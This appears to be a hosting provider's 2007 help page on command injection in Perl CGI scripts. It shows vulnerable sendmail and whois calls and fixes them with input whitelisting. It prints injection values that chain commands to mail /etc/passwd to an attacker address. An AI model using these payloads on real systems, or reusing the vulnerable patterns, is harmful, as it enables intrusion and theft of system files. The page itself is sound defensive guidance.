| Last Updated: February 07, 2007 |
CGI Security Issues
A common problem with contributed or free CGI scripts allows an attacker to execute
arbitrary shell commands on your Virtual Private Server with all of the privileges as you would have at a command prompt (such
as when you Telnet or SSH to your server). It may then be possible for the attacker to gain privileged access to your Virtual
Private Server. The problem lies inherently in how the scripts are written not with the overall security of the server
itself.
We strongly advises you to check all scripts you download free from a third party source.
You should specifically look for instances where the script opens a file handle to an external program such as a mail
executable (a common task). When these file handles are opened using user-supplied data, you should ensure that these data have
been properly sanitized.
Vulnerabilities
Some of the most common vunerabilities include user-supplied data field. For example, you may have a script which packages
user-supplied data and e-mails it to a recipient. Perhaps it looks something like:
open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
print MAIL "To: $user_supplied_data{'recipient'}\n";
print MAIL "From: $user_supplied_data{'email_address'}\n";
.
.
.
close(MAIL);
The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of
recipient something like the following:
some@email.address; cat /etc/passwd | mail attacker@email.address
or
some@email.address && mail attacker@email.address < /etc/passwd
The easiest way to deny an attack in this particular example is to eliminate user-supplied data from the open
command. The sendmail program has a very useful flag, -t, which when set forces sendmail to read the message
headers (To:, Cc:, Bcc:) for recipients. So instead of:
open (MAIL, "|/bin/sendmail $user_supplied_data{'recipient'}");
use this:
open (MAIL, "|/bin/sendmail -t");
Another possible vulnerability can occur when a script executes an external program. For example, you may have a script
which performs a lookup on a user-specified domain name's availability. In the lookup source code, you may encounter a
line that looks something like this:
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
The above code could possibly be prone to an attack. This would be accomplished by submitting for the value of
domain_name something like the following:
domain.name; cat /etc/passwd | mail attacker@email.address
or
domain.name && mail attacker@email.address < /etc/passwd
Sanitizing Input
The best way to prevent these types of attacks from being successful is to sanitize user-supplied data. Sanitizing
user-supplied data is the process of eliminating any nonessential characters. So, in the example above, it would be very wise
to check the domain_name against a valid character set which includes letters, digits, dashes, and periods. This can be
accomplished using just a few lines of Perl code:
if ($user_supplied_data{'domain_name'} =~ /[^A-Za-z0-9\.\-]/) {
print "Content-type: text/plain\n\n";
print "Uh... you entered an invalid domain name.";
exit(0);
}
open (WHOIS, "/bin/whois $user_supplied_data{'domain_name'} |");
.
.
.
close(MAIL);
All of the scripts in our CGI Library use proper security sanitizing methods.
Although we cannot guarantee the security of all other Virtual Private Server add-ons, we have examined and corrected some
problems we have encountered. We also pay close attention to CERT advisories and bulletins that have applicability to our
Virtual Private Server System.
Other Resources
More information about proper CGI security is presented (including examples of specific programming techniques) at the
following URLs:
|